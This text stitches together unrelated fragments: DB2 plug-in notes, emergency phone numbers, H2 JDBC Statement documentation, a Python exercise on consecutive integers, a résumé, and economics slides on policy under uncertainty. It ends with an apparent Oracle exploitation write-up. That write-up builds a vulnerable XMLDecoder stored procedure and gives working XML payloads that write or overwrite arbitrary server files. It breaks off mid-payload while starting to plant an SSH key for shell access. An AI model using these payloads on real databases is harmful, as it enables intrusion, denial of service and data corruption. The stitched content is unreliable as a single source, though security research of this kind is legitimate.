What Does the Db2auth Plug-in Do?
DB2 is designed to separate authentication from authorization, and relies on a third party authentication mechanism.
This could pose as an inconvenience when migrating from other databases such as MySQL, which stores authentication information within the database.
The db2auth plug-in, written by Gene Kligerman, allows for authentication to DB2 without such external sources, by providing the means to store the information directly in the database.
It also allows for external modules, such as the Technology Explorer, to control users, groups and memberships.
To read Gene Kligerman's article on the db2auth plug-in, click here...
It should be noted however, that this limits the security initially provided by DB2.
Users of this plug-in should consider the degree of security their database needs prior to installing the plug-in, or should only use this as a temporary migration step from other database software.


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This permission request is the result of two design decisions to make your life better:
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Emergency Rescue Helpline Numbers, Mentioned Below
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9711077372
Flood Control Room
080-25573333
State emergency operations centre
080-22340676
080-1070
State Disaster Response Force (SDRF)
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| operator edge_t () const | |
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| bool | operator== (const edge_id &e) const |
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| bool | operator!= (const edge_id &e) const |
| Comparison (not equal) operator. | |
| bool | operator< (const edge_id &e) const |
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| index | first |
| Head of the edge. | |
| index | second |
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| index | idx |
| Index of the edge. | |
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| static const edge_id | NO_EDGE |
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Edge in the graph.
EdgeID represents the edge (i->j) with index idx. The reversed index ridx represents the edge (j->i). Blank (or missing) edges can sometimes appear, and they are represented by EdgeID::NO_EDGE (for example, if edge (i,j) is requested and does not exist).


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For these similarity charts I used 10 songs.
This graph is only based on the occurance of notes A and C used in each song.
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This heatmap shows the similarities between songs based off the use of all 12 notes (A-G#).


Represents a statement.
| Methods |
| void |
addBatch(String sql)
Adds a statement to the batch.
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| void |
addBatch(String sql) throws SQLException
Adds a statement to the batch.
Parameters:
sql - the SQL statement
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| void |
cancel()
Cancels a currently running statement.
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| void |
cancel() throws SQLException
Cancels a currently running statement.
This method must be called from within another
thread than the execute method.
Operations on large objects are not interrupted,
only operations that process many rows.
Throws:
SQLException - if this object is closed
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| void |
clearBatch()
Clears the batch.
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| void |
clearBatch() throws SQLException
Clears the batch.
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| void |
clearWarnings()
Clears all warnings.
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| void |
clearWarnings() throws SQLException
Clears all warnings. As this driver does not support warnings,
this call is ignored.
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| void |
close()
Closes this statement.
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| void |
close() throws SQLException
Closes this statement.
All result sets that where created by this statement
become invalid after calling this method.
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| boolean |
execute(String sql)
Executes an arbitrary statement.
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| boolean |
execute(String sql) throws SQLException
Executes an arbitrary statement. If another result set exists for this
statement, this will be closed (even if this statement fails).
If the statement is a create or drop and does not throw an exception, the
current transaction (if any) is committed after executing the statement.
If auto commit is on, and the statement is not a select, this statement
will be committed.
Parameters:
sql - the SQL statement to execute
Returns:
true if a result set is available, false if not
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| boolean |
execute(String sql, int autoGeneratedKeys)
Executes a statement and returns the update count.
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| boolean |
execute(String sql, int autoGeneratedKeys) throws SQLException
Executes a statement and returns the update count.
This method just calls execute(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
autoGeneratedKeys - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| boolean |
execute(String sql, int[] columnIndexes)
Executes a statement and returns the update count.
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| boolean |
execute(String sql, int[] columnIndexes) throws SQLException
Executes a statement and returns the update count.
This method just calls execute(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
columnIndexes - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| boolean |
execute(String sql, String[] columnNames)
Executes a statement and returns the update count.
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| boolean |
execute(String sql, String[] columnNames) throws SQLException
Executes a statement and returns the update count.
This method just calls execute(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
columnNames - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| int[] |
executeBatch()
Executes the batch.
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| int[] |
executeBatch() throws SQLException
Executes the batch.
If one of the batched statements fails, this database will continue.
Returns:
the array of update counts
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| ResultSet |
executeQuery(String sql)
Executes a query (select statement) and returns the result set.
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| ResultSet |
executeQuery(String sql) throws SQLException
Executes a query (select statement) and returns the result set.
If another result set exists for this statement, this will be closed
(even if this statement fails).
Parameters:
sql - the SQL statement to execute
Returns:
the result set
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| int |
executeUpdate(String sql)
Executes a statement (insert, update, delete, create, drop)
and returns the update count.
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| int |
executeUpdate(String sql) throws SQLException
Executes a statement (insert, update, delete, create, drop)
and returns the update count.
If another result set exists for this statement, this will be closed
(even if this statement fails).
If auto commit is on, this statement will be committed.
If the statement is a DDL statement (create, drop, alter) and does not
throw an exception, the current transaction (if any) is committed after
executing the statement.
Parameters:
sql - the SQL statement
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| int |
executeUpdate(String sql, int autoGeneratedKeys)
Executes a statement and returns the update count.
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| int |
executeUpdate(String sql, int autoGeneratedKeys) throws SQLException
Executes a statement and returns the update count.
This method just calls executeUpdate(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
autoGeneratedKeys - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| int |
executeUpdate(String sql, int[] columnIndexes)
Executes a statement and returns the update count.
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| int |
executeUpdate(String sql, int[] columnIndexes) throws SQLException
Executes a statement and returns the update count.
This method just calls executeUpdate(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
columnIndexes - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| int |
executeUpdate(String sql, String[] columnNames)
Executes a statement and returns the update count.
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| int |
executeUpdate(String sql, String[] columnNames) throws SQLException
Executes a statement and returns the update count.
This method just calls executeUpdate(String sql) internally.
The method getGeneratedKeys supports at most one columns and row.
Parameters:
sql - the SQL statement
columnNames - ignored
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback)
Throws:
SQLException - if a database error occurred or a
select statement was executed
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| Connection |
getConnection()
Returns the connection that created this object.
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| Connection |
getConnection()
Returns the connection that created this object.
Returns:
the connection
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| int |
getFetchDirection()
Gets the fetch direction.
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| int |
getFetchDirection() throws SQLException
Gets the fetch direction.
Returns:
FETCH_FORWARD
Throws:
SQLException - if this object is closed
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| int |
getFetchSize()
Gets the number of rows suggested to read in one step.
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| int |
getFetchSize() throws SQLException
Gets the number of rows suggested to read in one step.
Returns:
the current fetch size
Throws:
SQLException - if this object is closed
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| ResultSet |
getGeneratedKeys()
Return a result set that contains the last generated auto-increment key
for this connection, if there was one.
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| ResultSet |
getGeneratedKeys() throws SQLException
Return a result set that contains the last generated auto-increment key
for this connection, if there was one. If no key was generated by the
last modification statement, then an empty result set is returned.
The returned result set only contains the data for the very last row.
Returns:
the result set with one row and one column containing the key
Throws:
SQLException - if this object is closed
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| int |
getMaxFieldSize()
Gets the maximum number of bytes for a result set column.
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| int |
getMaxFieldSize() throws SQLException
Gets the maximum number of bytes for a result set column.
Returns:
always 0 for no limit
Throws:
SQLException - if this object is closed
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| int |
getMaxRows()
Gets the maximum number of rows for a ResultSet.
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| int |
getMaxRows() throws SQLException
Gets the maximum number of rows for a ResultSet.
Returns:
the number of rows where 0 means no limit
Throws:
SQLException - if this object is closed
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| boolean |
getMoreResults()
Moves to the next result set - however there is always only one result
set.
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| boolean |
getMoreResults() throws SQLException
Moves to the next result set - however there is always only one result
set. This call also closes the current result set (if there is one).
Returns true if there is a next result set (that means - it always
returns false).
Returns:
false
Throws:
SQLException - if this object is closed.
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| boolean |
getMoreResults(int current)
Move to the next result set.
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| boolean |
getMoreResults(int current) throws SQLException
Move to the next result set.
This method always returns false.
Parameters:
current - Statement.CLOSE_CURRENT_RESULT,
Statement.KEEP_CURRENT_RESULT,
or Statement.CLOSE_ALL_RESULTS
Returns:
false
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| int |
getQueryTimeout()
Gets the current query timeout in seconds.
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| int |
getQueryTimeout() throws SQLException
Gets the current query timeout in seconds.
This method will return 0 if no query timeout is set.
The result is rounded to the next second.
For performance reasons, only the first call to this method
will query the database. If the query timeout was changed in another
way than calling setQueryTimeout, this method will always return
the last value.
Returns:
the timeout in seconds
Throws:
SQLException - if this object is closed
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| ResultSet |
getResultSet()
Returns the last result set produces by this statement.
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| ResultSet |
getResultSet() throws SQLException
Returns the last result set produces by this statement.
Returns:
the result set
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| int |
getResultSetConcurrency()
Gets the result set concurrency created by this object.
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| int |
getResultSetConcurrency() throws SQLException
Gets the result set concurrency created by this object.
Returns:
the concurrency
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| int |
getResultSetHoldability()
Gets the result set holdability.
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| int |
getResultSetHoldability() throws SQLException
Gets the result set holdability.
Returns:
the holdability
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| int |
getResultSetType()
Gets the result set type.
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| int |
getResultSetType() throws SQLException
Gets the result set type.
Returns:
the type
Throws:
SQLException - if this object is closed
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| int |
getUpdateCount()
Returns the last update count of this statement.
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| int |
getUpdateCount() throws SQLException
Returns the last update count of this statement.
Returns:
the update count (number of row affected by an insert,
update or delete, or 0 if no rows or the statement was a
create, drop, commit or rollback; -1 if the statement was a select).
Throws:
SQLException - if this object is closed or invalid
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| SQLWarning |
getWarnings()
Gets the first warning reported by calls on this object.
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| SQLWarning |
getWarnings() throws SQLException
Gets the first warning reported by calls on this object.
This driver does not support warnings, and will always return null.
Returns:
null
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| boolean |
isClosed()
Returns whether this statement is closed.
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| boolean |
isClosed() throws SQLException
Returns whether this statement is closed.
Returns:
true if the statement is closed
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| boolean |
isPoolable()
Returns whether this object is poolable.
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| boolean |
isPoolable()
Returns whether this object is poolable.
Returns:
false
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| boolean |
isWrapperFor(Class iface)
[Not supported] Checks if unwrap can return an object of this class.
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| boolean |
isWrapperFor(Class iface) throws SQLException
[Not supported] Checks if unwrap can return an object of this class.
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| void |
setCursorName(String name)
Sets the name of the cursor.
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| void |
setCursorName(String name) throws SQLException
Sets the name of the cursor. This call is ignored.
Parameters:
name - ignored
Throws:
SQLException - if this object is closed
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| void |
setEscapeProcessing(boolean enable)
Enables or disables processing or JDBC escape syntax.
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| void |
setEscapeProcessing(boolean enable) throws SQLException
Enables or disables processing or JDBC escape syntax.
See also Connection.nativeSQL.
Parameters:
enable - - true (default) or false (no conversion is attempted)
Throws:
SQLException - if this object is closed
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| void |
setFetchDirection(int direction)
Sets the fetch direction.
|
| void |
setFetchDirection(int direction) throws SQLException
Sets the fetch direction.
This call is ignored by this driver.
Parameters:
direction - ignored
Throws:
SQLException - if this object is closed
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| void |
setFetchSize(int rows)
Sets the number of rows suggested to read in one step.
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| void |
setFetchSize(int rows) throws SQLException
Sets the number of rows suggested to read in one step.
This value cannot be higher than the maximum rows (setMaxRows)
set by the statement or prepared statement, otherwise an exception
is throws. Setting the value to 0 will set the default value.
The default value can be changed using the system property
h2.serverResultSetFetchSize.
Parameters:
rows - the number of rows
Throws:
SQLException - if this object is closed
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| void |
setMaxFieldSize(int max)
Sets the maximum number of bytes for a result set column.
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| void |
setMaxFieldSize(int max) throws SQLException
Sets the maximum number of bytes for a result set column.
This method does currently do nothing for this driver.
Parameters:
max - the maximum size - ignored
Throws:
SQLException - if this object is closed
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| void |
setMaxRows(int maxRows)
Gets the maximum number of rows for a ResultSet.
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| void |
setMaxRows(int maxRows) throws SQLException
Gets the maximum number of rows for a ResultSet.
Parameters:
maxRows - the number of rows where 0 means no limit
Throws:
SQLException - if this object is closed
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| void |
setPoolable(boolean poolable)
Requests that this object should be pooled or not.
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| void |
setPoolable(boolean poolable)
Requests that this object should be pooled or not.
This call is ignored.
Parameters:
poolable - the requested value
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| void |
setQueryTimeout(int seconds)
Sets the current query timeout in seconds.
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| void |
setQueryTimeout(int seconds) throws SQLException
Sets the current query timeout in seconds.
Changing the value will affect all statements of this connection.
This method does not commit a transaction,
and rolling back a transaction does not affect this setting.
Parameters:
seconds - the timeout in seconds - 0 means no timeout, values
smaller 0 will throw an exception
Throws:
SQLException - if this object is closed
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| T |
unwrap(Class iface)
[Not supported] Return an object of this class if possible.
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| T |
unwrap(Class iface) throws SQLException
[Not supported] Return an object of this class if possible.
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Hermit crabs adopt other creatures' castoff shells for protection. But as they grow, crabs must move into successively larger shells. This produces a curious phenomenon: when a crab finds a shell that's too big for it, it waits nearby. Other crabs may accumulate, forming a little conga line of dissatisfied shell seekers. Finally a "Goldilocks" crab arrives — a crab large enough to claim the new shell — and now each waiting crab can move into the shell abandoned by its larger neighbor. By cooperating to share a scarce resource, the whole species benefits.
The same thing happens in human societies — when one person finds a new apartment, car, or job, she leaves behind her old one, and the vacancy passes down through society until the final unit is cast away or destroyed. It's called a vacancy chain.
In this assignment we work with sequences of integers that represent shell sizes. A sequence of consecutive integers is a sequence of $$n$$ integers $$a_1, a_2, \ldots, a_n$$ such that $$a_i + 1 = a_{i + 1} (i = 1, \ldots, n - 1)$$. Your task:
Write a function consecutive that takes a sequence (a list or a tuple) of integers. The function must return a Boolean value that indicates whether or not the given sequence forms a sequence of consecutive integers if the integers are sorted in increasing order.
Write a function goldilocks that takes a sequence (a list or a tuple) of integers. In case the given sequence cannot be used to form a sequence of consecutive integers, but if a single integer can be added to the list so that a sequence of consecutive integers can be formed, the function must return this "missing" integer. Otherwise, the function must return the value None.
Write a function move1 that takes a sequence (a list or a tuple) of integers. The function must return a list that contains a copy of the given sequence of numbers, in the given order. In case the given sequence cannot be used to form a sequence of consecutive integers, but if a single integer can be added to the list so that a sequence of consecutive integers can be formed, the function must append this "missing" integer to the end of the list that is returned.
Write a function move2 that takes a list of integers. The function may not return a value (read: the function must return the value None), but in case the given integers cannot be used to form a sequence of consecutive integers, and a single integer can be added to the list so that a sequence of consecutive integers can be formed, this "missing" integer must be appened to the end of the given list.
>>> consecutive([7, 5, 4, 9, 6, 3, 8])
True
>>> consecutive((16, 13, 18, 17, 15, 14, 20))
False
>>> consecutive((3, 4, 1, 6, 8, 7))
False
>>> goldilocks([7, 5, 4, 9, 6, 3, 8])
>>> goldilocks((16, 13, 18, 17, 15, 14, 20))
19
>>> goldilocks((3, 4, 1, 6, 8, 7))
>>> move1([7, 5, 4, 9, 6, 3, 8])
[7, 5, 4, 9, 6, 3, 8]
>>> move1((16, 13, 18, 17, 15, 14, 20))
[16, 13, 18, 17, 15, 14, 20, 19]
>>> move1((3, 4, 1, 6, 8, 7))
[3, 4, 1, 6, 8, 7]
>>> shells = [7, 5, 4, 9, 6, 3, 8]
>>> move2(shells)
>>> shells
[7, 5, 4, 9, 6, 3, 8]
>>> shells = [16, 13, 18, 17, 15, 14, 20]
>>> move2(shells)
>>> shells
[16, 13, 18, 17, 15, 14, 20, 19]
>>> shells = [3, 4, 1, 6, 8, 7]
>>> move2(shells)
>>> shells
[3, 4, 1, 6, 8, 7]


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Creation and implementation of centralized environment management and monitoring databases using Oracle Enterprise Manager (Cloud 12c and 10g Grid) This environment currently manages 120 instances sending notifications criticism for SNMP traps, SMS and email.
Based on these characteristics, professionally really I consider myself proactive, not just as a beautiful term used in an interview, but enough to get bothered with recurrent problems happening in environments where job. I always try to solve these problems even when it is the responsibility of other sectors, or I strive suppliers to demonstrate that the environment can be improved and when I have knowledge on the subject suggest the solution that can be applied and when I do not try to learn about it. ..
Currently work as a Database Administrator primarily focused on meeting demands environments with Oracle Databases 10g and 11g (single instance and RAC) and operating systems RedHat and Solaris, but also attend less frequently demands of SQL Server and MySQL ... I have used a lot OEM Cloud Control 12c for administration and monitoring the day to day ...
As this should be a summary. I am a person dedicated to improving the environments they attend to people who use them may also make its activities quickly and thus help improve the environment as a whole.
I love learning about anything, love my daughter, I love to stick with it and follow the growth of it, I like to play sports ... "sound mind in a sound body" ... My biggest learning to date has been to learn that more important than I already know today is what I can learn to improve ...
Based on these characteristics, professionally really I consider myself proactive, not just as a beautiful term used in an interview, but enough to get bothered with recurrent problems happening in environments where job. I always try to solve these problems even when it is the responsibility of other sectors, or I strive suppliers to demonstrate that the environment can be improved and when I have knowledge on the subject suggest the solution that can be applied and when I do not try to learn about it. ..
Currently work as a Database Administrator primarily focused on meeting demands environments with Oracle Databases 10g and 11g (single instance and RAC) and operating systems RedHat and Solaris, but also attend less frequently demands of SQL Server and MySQL ... I have used a lot OEM Cloud Control 12c for administration and monitoring the day to day ...
As this should be a summary. I am a person dedicated to improving the environments they attend to people who use them may also make its activities quickly and thus help improve the environment as a whole.


class: center, middle, inverse, title-slide # Lecture 08 ## Policymaking Under Uncertainty ### Ivan Rudik ### AEM 4510 --- exclude: true ```r if (!require("pacman")) install.packages("pacman") ``` ``` ## Loading required package: pacman ``` ```r pacman::p_load( tidyverse, xaringanExtra, rlang, patchwork, nycflights13, tweetrmd, vembedr ) options(htmltools.dir.version = FALSE) knitr::opts_hooks$set(fig.callout = function(options) { if (options$fig.callout) { options$echo <- FALSE } knitr::opts_chunk$set(echo = TRUE, fig.align="center") options }) ``` ``` ## Warning: 'xaringanExtra::style_panelset' is deprecated. ## Use 'style_panelset_tabs' instead. ## See help("Deprecated") ``` ``` ## Warning in style_panelset_tabs(...): The arguments to `syle_panelset()` changed in xaringanExtra 0.1.0. Please refer to the ## documentation to update your slides. ``` --- # Roadmap 1. What role does uncertainty play in economic analysis of the environment? 2. What are the implications of uncertainty for policy choice and welfare? --- class: inverse, center, middle name: tradable permits # Uncertainty and the environment

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--- # Uncertainty and risk .hi[Risk] refers to situations where the classification of states, events or alternatives is objective and known, and their probabilities can be objectively determined .hi[Uncertainty] arises from "the impossibility of exhaustive classification of states": nature/economy can be so complex that all possible states are simply not known --- # Uncertainty and risk Uncertainty can factor into environmental policy-making in a number of ways: -- - Scientific (uncertainty in MD) -- - Strategic (uncertainty about MAC) -- - Dynamic (uncertainty about what MD will be in the future) -- The type of uncertainty can have implications for instrument choice --- # Policy under uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/perfect_info-1.png) ] .pull-right[ With .hi[perfect information] we can achieve the efficient outcome using either a tax `\(\tau\)` or an emission standard `\(\bar{E} = E^*\)` Will this hold true even with uncertainty about MD or MAC? ] --- # Scientific uncertainty It is very likely that we don’t know much about how damaging a particular pollutant is1 .footnote[ 1This is even ignoring the fact that we probably don't even know the slope of the marginal damage curve. ] -- What are the actual health risks? -- Who are affected? -- Given risks and affected groups, how do we value lives/health? -- How do we value threatened environmental amenities? --- # Climate change .pull-left[    ] .pull-right[ These are our best estimates of the distribution of the .hi[equilibrium climate sensitivity:] how much the earth warms on average if we double CO2 concentrations Uncertainty in ECS means we are uncertain about the true costs of emitting a ton of CO2 (i.e. the social cost of CO2) ] --- # Climate change .pull-left[    Rudik (2020) ] .pull-right[ There's also uncertainty over how costly a given amount of warming will be - How bad is 1 degree of warming for agricultural yields? These are distributions of damages to global GDP at given levels of warming ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain-1.png) ] .pull-right[ If we are uncertain about MD how should we set policy? Suppose we have a best estimate, `\(MD_e\)` Unfortunately our estimate was wrong, and the true MD curve is given by `\(MD_h\)` or `\(MD_l\)` Let's say the actual MD is `\(MD_l\)`, what happens under our policies? ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain-1.png) ] .pull-right[ First: what tax and standard does the regulator set? ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain2-1.png) ] .pull-right[ First: what tax and standard does the regulator set? The regulator selects a standard where she thinks MAC = MD: Ee The regulator selects a tax where she thinks MAC = MD: `\(\tau\)`e With these two policies in place, what does the firm do? ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain2-1.png) ] .pull-right[ The firm emits at Ee under both the tax and standard We get the same outcome Is there any deadweight loss? If so, how much? ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain3-1.png) ] .pull-right[ We actually want to be at E* We are emitting too little because we overestimated damages What is the DWL associated with under-emission? ] --- # Policy under scientific uncertainty .pull-left[ ![taxes and standards both work efficiently with perfect info](08-slides-uncertainty_files/figure-html/science_uncertain4-1.png) ] .pull-right[ DWL comes from abatement costs in excess of the avoided damages This is the area in red With uncertain MD, we do not get the efficient outcome! Will the story be any different if the true MD was instead MDh? ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain-1.png) ] .pull-right[ Now what if we have .hi[strategic uncertainty:] the regulator does not know the firms' MAC curves The regulator thinks the MAC is MACe but it may be MACh or MACl Suppose the true MAC is MACh ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain2-1.png) ] .pull-right[ The regulator again sets a standard of Ee and a tax of `\(\tau_e\)` We know the efficient level of emissions is E* What level of emissions do we actually get? ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain2-1.png) ] .pull-right[ Under a standard we get Ee ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain3-1.png) ] .pull-right[ Under a standard we get Ee Under a tax we get `\(E_\tau\)` Since we get different levels of emissions under the two policies, they may give us different levels of deadweight loss Let's see.. ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain4-1.png) ] .pull-right[ The DWL under a standard is given by the .hi-red[red] area This is caused by .hi[too little emissions] ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain5-1.png) ] .pull-right[ The DWL under a standard is given by the .hi-red[red] area This is caused by .hi[too little emissions] The DWL under a tax is given by the .hi-blue[blue] area This is caused by .hi[too many emissions] ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain5-1.png) ] .pull-right[ The DWLs are similar-ish in size Why do we get the DWLs? ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain5-1.png) ] .pull-right[ .hi[Standard:] we under estimated the MAC and thought it'd be cheaper to abate than it actually was, so we set too stringent of a standard .hi[Tax:] we under estimated the MAC and thought it'd be cheaper to abate than it actually was, so we set too low of a tax The same error leads to different qualitative outcomes ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_uncertain5-1.png) ] .pull-right[ Which policy performs better depends on the relative slopes of the MAC and MD curves Now consider an example where the MD curve is relatively .hi[steep] Try to solve for the policy choices and DWLs yourself ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_steep-1.png) ] .pull-right[ If the MD curve is relatively steep a standard performs better, the .hi-red[red] DWL is smaller than the .hi-blue[blue] DWL Why? Taxes allow firms to choose the quantity If the MD is relatively steep, an error in the quantity of emissions is very costly ] --- # Steep MDs A steep MD means the marginal external cost of emissions increases rapidly -- Any examples? -- One would be if there exist .hi[tipping points] in the climate system: - Melt-back of Arctic summer sea ice - Evidence that this is happening even without much additional warming - Sea ice reflects light and cools polar regions - This has big effects on air and ocean circulation Collapse of Greenland ice sheet: could lead to a 7m rise in sea level --- # Tipping points Collapse of western Antarctic ice sheet - Immediate risk of sea level rise -- Die-back of Amazonian rainforest - Species loss - Effects on rainfall patterns in other parts of the world -- Collapse of W. African monsoon season and many others ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_flat-1.png) ] .pull-right[ Now what if MD is very flat? Solve for the regulator's chosen policies and their associated DWL ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_flat2-1.png) ] .pull-right[ If the MD curve is relatively flat a tax performs better, the .hi-blue[blue] DWL is smaller than the .hi-red[red] DWL Why? ] --- # Policy under strategic uncertainty .pull-left[ ![taxes and standards work differently if MACs are uncertain](08-slides-uncertainty_files/figure-html/strategy_flat2-1.png) ] .pull-right[ Marginal damages are relatively constant no matter the quantity while abatement costs can change rapidly It's valuable to let the firm flexibly choose abatement Taxes impose a constant incentive on the firm, closer representation of the MD ] --- # Dynamic uncertainty .pull-left[   Optimal carbon tax = MD  ] .pull-right[ Current MD may be zero, but future MD could be very high e.g. greenhouse gases 1 ton emitted today is not as costly as 1 ton emitted tomorrow for a lot of reasons ] --- # The Manne-Richel model Two periods (current and future) -- Two possible states of nature in the future (“good” with probability (1-p) and “bad” with probability p) -- The bad state is the climate is .hi[very] sensitive to greenhouse gases, good state is the climate is not very sensitive (climate change is fake news!) -- Each state requires different abatement to avoid climate catastrophe | State | Probability | Cumulative Abatement Required | |------- |:-------------: |:-------------------------------: | | Good | 1-p | 0 | | Bad | p | 1 | --- # The Manne-Richel model Greenhouse gases are stock pollutants -- Since greenhouse gases are very long-lived, abatement activity is cumulative (i.e. doing abatement activity today is as good as doing abatement activity in the future) -- a1: current abatement a2: future abatement a1+a2: aggregate abatement --- # The Manne-Richel model If we do a1 units of abatement today in the future we need to do: -- 1 - a1 units with probability p (bad state) -- 0 with probability 1-p (good state) -- Suppose abatement cost is given by: `\(C(a) = 0.5 a^2\)` -- What is the regulator's problem? --- # The Manne-Richel model `$$\min_{a_1} E[TC] = \underbrace{\frac{1}{2}a_1^2}_{\text{current cost}} + (1-p)\times \underbrace{0}_{\text{good state cost}} + p \times \underbrace{\frac{1}{2}(1-a_1)^2}_{\text{bad state cost}}$$` -- The first-order condition is: `$$\frac{d E[TC]}{da_1} = a^*_1 - p(1-a^*_1) = 0$$` -- This gives us that: `$$a^*_1 = \frac{p}{1+p}$$` --- # The Manne-Richel model `$$a^*_1 = \frac{p}{1+p}$$` If there is any chance of a bad state (p > 0), it is optimal to do *some* abatement today -- If a bad state is guaranteed (p = 1), we want `\(a^*_1 = 1/2, a^*_2 = 1/2\)` -- You can think about this as basically buying insurance --- # The Manne-Richel model It makes sense to do some abatement today, even if we are not sure there will be bad climate change, because the MAC is cheap for the first few units -- In marginal terms: we want to equate the MAC today with the *expected* MAC in the future so that on average, we can't reallocate abatement and be better off -- `$$a^*_1 = p(1-a^*_1)$$` -- Now, what are some complications of this simple model? --- # The Manne-Richel model Abatement tech can improve: - future MAC different than current MAC - future MAC might depend on current abatement (learning by doing) --- # The Manne-Richel model Discounting: how should we weigh future costs and benefits? - Does this matter whether the future is the same generation or unborn generations? - Does it matter how wealthy we think people are? --- # The Manne-Richel model Alternative decision frameworks: - We just minimized expected total cost - We could instead do .hi[minimax regret:] minimize the cost of the worst-case outcome - We could use the .hi[precautionary principle:] use whatever is necessary to avoid irreversible damage


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XML Deserialization
XML serialization and deserializtion exist in Java to support cross platform information exchange using a standardized industry format (in this case XML). To this end, the java.beans library contains two classes: XMLEncoder and XMLDecoder which are used to serialize a Java object into an XML format and at a later time, deserialize the object.
Typical deserialization vulnerabilities rely on the existence of a service that accepts and deserializes arbitrary input. However, if you have access to a low-privileged Oracle account that can create objects in the user schema (i.e., a user with connect and resource) you can create your own vulnerable deserialization procedure.
As the "TESTER" user, I have created the following Java class "DecodeMe" and a Java Stored Procedure that invokes this class:
create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
Object object = decoder.readObject();
System.out.println(object.toString());
decoder.close();
}
}
;
/
CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
language java name 'DecodeMe.input(java.lang.String)';
/
The decodeme procedure will accept an arbitrary string of XML encoded Java and execute the provided instructions. Information on the proper format for the serialized XML can be found here. This block will simply call println to output data to the terminal.
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out">
<void method="println">
<string>This is test output to the console</string>
</void>
</object>
</java>');
END;
/
It turns out that the deserialization process bypasses JVM permission settings and allows a user to arbitrarily write to files on the OS. See the following example script:
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0" >
<object class="java.io.FileWriter">
<string>/tmp/PleaseDoNotWork.txt </string>
<boolean>True</boolean>
<void method="write">
<string>Why for the love of god?</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
Executing this anonymous block creates a file named "PleaseDoNotWork.txt" in the /tmp folder:
Therefore via deserialiazation, we can write arbitrary files to the file system, bypassing the built-in security restrictions.
Exploitation
As it turns out, we can not only write new files to the system, we can also overwrite or append any file on which the Oracle user has write permissions. Clearly this has severe ramifications for the database, as an attacker could overwrite critical files - including control files - which could result in a successful Denial of Service attack or data corruption.
However, with a carefully crafted payload, we can use this deserialization attack to gain access to the server as the Oracle user.
Assuming SSH is open on the server and configured to accept RSA connections, the following payload will append an RSA token to the Oracle account that manages the database processes.
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0">
<object class="java.io.FileWriter">
